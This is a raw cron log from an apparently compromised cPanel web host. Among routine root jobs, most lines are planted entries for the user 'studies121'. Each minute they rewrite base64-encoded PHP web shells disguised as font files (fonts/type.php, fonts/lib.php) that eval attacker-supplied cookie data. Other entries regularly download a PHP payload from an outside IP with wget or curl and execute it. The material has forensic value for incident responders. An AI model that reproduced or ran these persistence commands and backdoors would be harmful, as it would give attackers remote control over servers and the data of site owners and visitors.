Sep  7 03:34:01 ip-184-168-122-23 CROND[7467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:35:01 ip-184-168-122-23 CROND[7594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:35:01 ip-184-168-122-23 CROND[7596]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:35:01 ip-184-168-122-23 CROND[7600]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 03:35:01 ip-184-168-122-23 CROND[7602]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:35:01 ip-184-168-122-23 CROND[7601]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 03:35:01 ip-184-168-122-23 CROND[7599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:35:01 ip-184-168-122-23 CROND[7604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:35:01 ip-184-168-122-23 CROND[7603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:36:01 ip-184-168-122-23 CROND[7705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:36:01 ip-184-168-122-23 CROND[7706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:36:01 ip-184-168-122-23 CROND[7708]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:36:01 ip-184-168-122-23 CROND[7709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:36:01 ip-184-168-122-23 CROND[7710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:37:01 ip-184-168-122-23 CROND[7817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:37:01 ip-184-168-122-23 CROND[7819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:37:01 ip-184-168-122-23 CROND[7820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:37:01 ip-184-168-122-23 CROND[7821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:38:01 ip-184-168-122-23 CROND[7989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:38:01 ip-184-168-122-23 CROND[7990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:38:01 ip-184-168-122-23 CROND[7992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:38:01 ip-184-168-122-23 CROND[7993]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:38:01 ip-184-168-122-23 CROND[7994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:38:01 ip-184-168-122-23 anacron[3105]: Job `cron.daily' started
Sep  7 03:38:01 ip-184-168-122-23 run-parts(/etc/cron.daily)[8003]: starting logrotate
Sep  7 03:38:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[8024]: finished logrotate
Sep  7 03:38:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[8003]: starting man-db.cron
Sep  7 03:38:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[8036]: finished man-db.cron
Sep  7 03:38:02 ip-184-168-122-23 anacron[3105]: Job `cron.daily' terminated
Sep  7 03:38:02 ip-184-168-122-23 anacron[3105]: Normal exit (1 job run)
Sep  7 03:39:01 ip-184-168-122-23 CROND[8149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:39:01 ip-184-168-122-23 CROND[8151]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 03:39:01 ip-184-168-122-23 CROND[8154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:39:01 ip-184-168-122-23 CROND[8153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:39:01 ip-184-168-122-23 CROND[8155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:40:01 ip-184-168-122-23 CROND[8276]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 03:40:01 ip-184-168-122-23 CROND[8279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:40:01 ip-184-168-122-23 CROND[8281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:40:01 ip-184-168-122-23 CROND[8282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:40:01 ip-184-168-122-23 CROND[8288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:40:01 ip-184-168-122-23 CROND[8285]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:40:01 ip-184-168-122-23 CROND[8284]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:40:01 ip-184-168-122-23 CROND[8289]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:41:01 ip-184-168-122-23 CROND[8377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:41:01 ip-184-168-122-23 CROND[8381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:41:01 ip-184-168-122-23 CROND[8379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:41:01 ip-184-168-122-23 CROND[8380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:42:01 ip-184-168-122-23 CROND[8461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:42:01 ip-184-168-122-23 CROND[8464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:42:01 ip-184-168-122-23 CROND[8463]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:42:01 ip-184-168-122-23 CROND[8465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:42:01 ip-184-168-122-23 CROND[8466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:43:02 ip-184-168-122-23 CROND[8587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:43:02 ip-184-168-122-23 CROND[8589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:43:02 ip-184-168-122-23 CROND[8590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:43:02 ip-184-168-122-23 CROND[8591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:44:01 ip-184-168-122-23 CROND[8770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:44:01 ip-184-168-122-23 CROND[8773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:44:01 ip-184-168-122-23 CROND[8774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:44:01 ip-184-168-122-23 CROND[8772]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:44:01 ip-184-168-122-23 CROND[8775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:45:01 ip-184-168-122-23 CROND[8875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:45:01 ip-184-168-122-23 CROND[8877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:45:01 ip-184-168-122-23 CROND[8880]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:45:01 ip-184-168-122-23 CROND[8878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:45:01 ip-184-168-122-23 CROND[8882]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:45:01 ip-184-168-122-23 CROND[8879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:46:01 ip-184-168-122-23 CROND[8998]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:46:01 ip-184-168-122-23 CROND[9004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
